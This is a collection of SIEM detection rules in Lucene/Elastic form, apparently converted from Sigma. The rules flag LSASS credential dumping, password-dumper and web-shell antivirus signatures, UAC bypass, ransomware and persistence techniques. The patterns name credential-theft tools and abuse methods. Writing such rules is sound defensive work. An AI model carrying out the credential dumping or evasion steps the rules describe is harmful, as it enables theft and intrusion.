{"description": "Detects a dump file written by QuarksPwDump password dumper", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "20973ca4-fab3-517a-7309-e19712d2f74f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "QuarksPwDump Dump File", "query": "(file.path:*\\\\AppData\\\\Local\\\\Temp\\\\SAM\\-* AND file.path:*.dmp*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", "enabled": false, "false_positives": ["User selecting a different installation folder (check for other sub processes of this explorer.exe process)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1764134a-6d64-9b26-3ebd-06aa68535b8b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious RazerInstaller Explorer Subprocess", "query": "((process.parent.executable.text:*\\\\RazerInstaller.exe AND IntegrityLevel:\"System\") AND (NOT (process.executable.text:C\\:\\\\Windows\\\\Installer\\\\Razer\\\\Installer\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1553"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Maxime Thiebaut"], "license": ""}
{"description": "Detects a failed installation of a Exchange Transport Agent", "enabled": false, "false_positives": ["Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56c81e3a-0b8d-4948-77ad-0b721b141aed", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Failed MSExchange Transport Agent Installation", "query": "(winlog.event_id:\"6\" AND \"Install\\-TransportAgent\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75d731c0-2565-8f6f-1e13-840027922d6d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WScript or CScript Dropper", "query": "(process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND file.path:(C\\:\\\\Users\\\\* OR C\\:\\\\ProgramData*) AND file.path:(*.jse OR *.vbe OR *.js OR *.vba OR *.vbs))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)"], "timestamp_override": "event.ingested", "author": ["Tim Shelton"], "license": ""}
{"description": "Detects a file or folder's permissions being modified.", "enabled": false, "false_positives": ["Users interacting with the files on their own (unlikely unless privileged users).", "Dynatrace app"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3d88da35-814c-1d25-17f1-9adca3050a3d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File or Folder Permissions Modifications", "query": "(((process.executable.text:(*\\\\cacls.exe OR *\\\\icacls.exe OR *\\\\net.exe OR *\\\\net1.exe) AND process.command_line.text:*\\/grant*) OR (process.executable.text:*\\\\attrib.exe AND process.command_line.text:*\\-r*) OR process.executable.text:*\\\\takeown.exe) AND (NOT ((process.command_line.text:*ICACLS\\ C\\:\\\\ProgramData\\\\dynatrace\\\\gateway\\\\config\\\\connectivity.history\\ \\/reset) OR (process.command_line.text:*ICACLS\\ C\\:\\\\ProgramData\\\\dynatrace\\\\gateway\\\\config\\\\config.properties\\ \\/grant\\ \\:r\\ * AND process.command_line.text:*S\\-1\\-5\\-19\\:F*) OR (process.command_line.text:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code* OR process.parent.executable.text:*\\\\Microsoft\\ VS\\ Code\\\\Code.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.11)"], "timestamp_override": "event.ingested", "author": ["Jakob Weinzettl", "oscd.community", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "417ae038-bea9-53e9-b719-7b4930d7dad7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Flags Anomaly", "query": "((process.executable:*\\\\regsvr32.exe AND process.command_line:*\\ \\/i\\:*) AND (NOT (process.command_line:*\\ \\/n\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a flashplayer update from an unofficial location", "enabled": false, "false_positives": ["Unknown flash download locations"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "c71e4cfb-5f2f-e432-cb20-56c961be183f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Flash Player Update from Suspicious Location", "query": "((url.query:*\\/flash_install.php* OR url.query:*\\/install_flash_player.exe) AND (NOT (url.original:*.adobe.com\\/*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Initial Access", "T1036", "T1189", "T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1189", "name": "Drive-by Compromise", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", "enabled": false, "false_positives": ["Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "764475ef-f985-185e-6307-7ba60e8261b2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Get-Process LSASS in ScriptBlock", "query": "powershell.file.script_block_text:*Get\\-Process\\ lsass*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6606305e-e9b8-6dd6-a679-ea4498aa70eb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Antivirus Hacktool Detection", "query": "(winlog.event_data.Signature:(HTOOL* OR HKTL* OR SecurityTool* OR ATK\\/*) OR winlog.event_data.Signature:*Hacktool*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a highly relevant Antivirus alert that reports a password dumper", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5e8acfaa-f069-41d9-1f81-f986a5d91626", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Antivirus Password Dumper Detection", "query": "winlog.event_data.Signature:(*DumpCreds* OR *Mimikatz* OR *PWCrack* OR *HTool\\/WCE* OR *PSWTool* OR *PWDump* OR *SecurityTool* OR *PShlSpy* OR *Rubeus* OR *Kekeo* OR *LsassDump* OR *Outflank* OR *DumpLsass* OR *SharpDump*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", "author": ["Florian Roth", "Arnim Rupp"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "da9ef7b7-8faf-f46a-8d69-8ddd6725857d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Antivirus Web Shell Detection", "query": "((winlog.event_data.Signature:(PHP.* OR JSP.* OR ASP.* OR Perl.* OR VBS\\/Uxor* OR IIS\\/BackDoor* OR JAVA\\/Backdoor* OR Troj\\/ASP* OR Troj\\/PHP* OR Troj\\/JSP*)) OR (winlog.event_data.Signature:(*Webshell* OR *Chopper* OR *SinoChoper* OR *ASPXSpy* OR *Aspdoor* OR *filebrowser* OR *PHP_* OR *JSP_* OR *ASP_* OR *PHP\\:* OR *JSP\\:* OR *ASP\\:* OR *Perl\\:* OR *PHP\\/* OR *JSP\\/* OR *ASP\\/* OR *Perl\\/* OR *PHPShell* OR *Trojan.PHP* OR *Trojan.ASP* OR *Trojan.JSP* OR *Trojan.VBS* OR *PHP?Agent* OR *ASP?Agent* OR *JSP?Agent* OR *VBS?Agent* OR *Backdoor?PHP* OR *Backdoor?JSP* OR *Backdoor?ASP* OR *Backdoor?VBS* OR *Backdoor?Java* OR *PShlSpy* OR *C99shell*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a2aaf6d0-1ec9-1ad6-ecce-5ed971617693", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Antivirus Exploitation Framework Detection", "query": "winlog.event_data.Signature:(*MeteTool* OR *MPreter* OR *Meterpreter* OR *Metasploit* OR *PowerSploit* OR *CobaltStrike* OR *Swrort* OR *Rozena* OR *Backdoor.Cobalt* OR *CobaltStr* OR *COBEACON* OR *Cometer* OR *Razy* OR *IISExchgSpawnCMD* OR *Exploit.Script.CVE*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1203", "T1219"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a highly relevant Antivirus alert that reports ransomware", "author": ["Florian Roth", "Arnim Rupp"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5bb6fb77-ca36-ea29-a0bb-64867b2f22f0", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Antivirus Ransomware Detection", "query": "winlog.event_data.Signature:(*Ransom* OR *Filecoder* OR *Ryuk* OR *Cryptor* OR *Crypter* OR *Destructor* OR *TeslaCrypt* OR *Locker* OR *Tescrypt* OR *CRYPTES* OR *Krypt* OR *GandCrab* OR *Ryzerlo* OR *BlackWorm* OR *Phobos*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1486"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a method that uses Wsreset.exe tool that can be used to reset the Windows Store to bypass UAC", "enabled": false, "false_positives": ["Unknown sub processes of Wsreset.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "636f4286-527d-94bc-cd10-494be6fa5e9c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wsreset UAC Bypass", "query": "process.parent.executable:*\\\\WSreset.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd48c0f1-c5fd-0e0f-c99a-777816d5cc02", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DLL Load via LSASS", "query": "(winlog.event_data.TargetObject:(*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\DirectoryServiceExtPt* OR *\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\LsaDbExtPt*) AND (NOT ((process.executable:\"C\\:\\\\Windows\\\\system32\\\\lsass.exe\" AND winlog.event_data.Details:(\"%%systemroot%%\\\\system32\\\\ntdsa.dll\" OR \"%%systemroot%%\\\\system32\\\\lsadb.dll\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a named pipe used by Turla group samples", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bf0e759e-b641-8a9b-8acb-8591efd3040a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Turla Group Named Pipes", "query": "file.name:(\"\\\\atctl\" OR \"\\\\userpipe\" OR \"\\\\iehelper\" OR \"\\\\sdlrpc\" OR \"\\\\comnap\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": ["Internal Research", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", "enabled": false, "false_positives": ["New printer port install on host"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f50f5b4a-3300-a5d3-dac4-550068daf4ce", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious New Printer Ports in Registry (CVE-2020-1048)", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Ports* AND winlog.event_data.Details:(*.dll* OR *.exe* OR *.bat* OR *.com* OR *C\\:*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["EagleEye Team", "Florian Roth", "NVISO"], "license": ""}
{"description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", "enabled": false, "false_positives": ["Legitimate use of the tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ecbb899b-0e40-80da-5988-8b5aa1e24602", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New PDQDeploy Service - Server Side", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:*PDQDeployService.exe* OR winlog.event_data.ServiceName:(\"PDQDeploy\" OR \"PDQ\\ Deploy\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad3aa184-7496-0e6f-79e7-1e41358c5909", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RipZip Attack on Startup Folder", "query": "(TargetFileName:*\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup* AND TargetFileName:*.lnk.\\{0AFACED1\\-E828\\-11D1\\-9187\\-B532F1E9575D\\}* AND process.executable:*\\\\explorer.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Greg (rule)"], "license": ""}
{"description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut.\nIf the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder.\nAdditionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.\n", "author": ["Greg (rule)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "916e8a61-2375-30d1-5971-760bdf05ac94", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential RipZip Attack on Startup Folder", "query": "(file.path.text:*\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup* AND file.path.text:*.lnk.\\{0AFACED1\\-E828\\-11D1\\-9187\\-B532F1E9575D\\}* AND process.executable.text:*\\\\explorer.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a ping command that uses a hex encoded IP address", "enabled": false, "false_positives": ["Unlikely, because no sane admin pings IP addresses in a hexadecimal form"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "82de4fcc-2a6e-59cd-3fda-1b25b065b2c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ping Hex IP", "query": "(process.executable:*\\\\ping.exe AND process.command_line:*0x*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0e11ea69-ac37-32c0-4654-8ac7ebcc06df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Persistence via Explorer Run Key", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run) AND (winlog.event_data.Details:(C\\:\\\\Windows\\\\Temp\\\\* OR C\\:\\\\ProgramData\\\\* OR C\\:\\\\$Recycle.bin\\\\* OR C\\:\\\\Temp\\\\* OR C\\:\\\\Users\\\\Public\\\\* OR C\\:\\\\Users\\\\Default\\\\*) OR winlog.event_data.Details:*\\\\AppData\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community"], "license": ""}
{"description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", "enabled": false, "false_positives": ["Rare programs that contain the word dump in their name and access lsass"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "445e79cc-722d-1426-7eb0-b35440cab0c0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Memory Access by Tool Named Dump", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:*dump* AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f29f104b-5b31-4ada-4b90-54617949f10e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Access via TrolleyExpress Exclusion", "query": "(process.command_line:(*\\\\TrolleyExpress\\ 7* OR *\\\\TrolleyExpress\\ 8* OR *\\\\TrolleyExpress\\ 9* OR *\\\\TrolleyExpress.exe\\ 7* OR *\\\\TrolleyExpress.exe\\ 8* OR *\\\\TrolleyExpress.exe\\ 9* OR *\\\\TrolleyExpress.exe\\ \\-ma\\ *) OR (process.executable:*\\\\TrolleyExpress.exe AND (NOT ((winlog.event_data.OriginalFileName:*CtxInstall*) OR (NOT _exists_:winlog.event_data.OriginalFileName)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", "enabled": false, "false_positives": ["Unlikely, since these tools shouldn't access lsass.exe at all"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "84975a24-e229-a8da-ad31-86c37b21e3fc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Access from White-Listed Processes", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:(*\\\\TrolleyExpress.exe OR *\\\\ProcessDump.exe OR *\\\\dump64.exe) AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a possible remote connections to Silenttrinity c2", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e8eac746-b28f-cb29-b795-1d0b930e74b8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Silenttrinity Stager Msbuild Activity", "query": "(process.executable:*\\\\msbuild.exe AND destination.port:(\"80\" OR \"443\") AND winlog.event_data.Initiated:\"true\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1127"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Kiran kumar s", "oscd.community"], "license": ""}
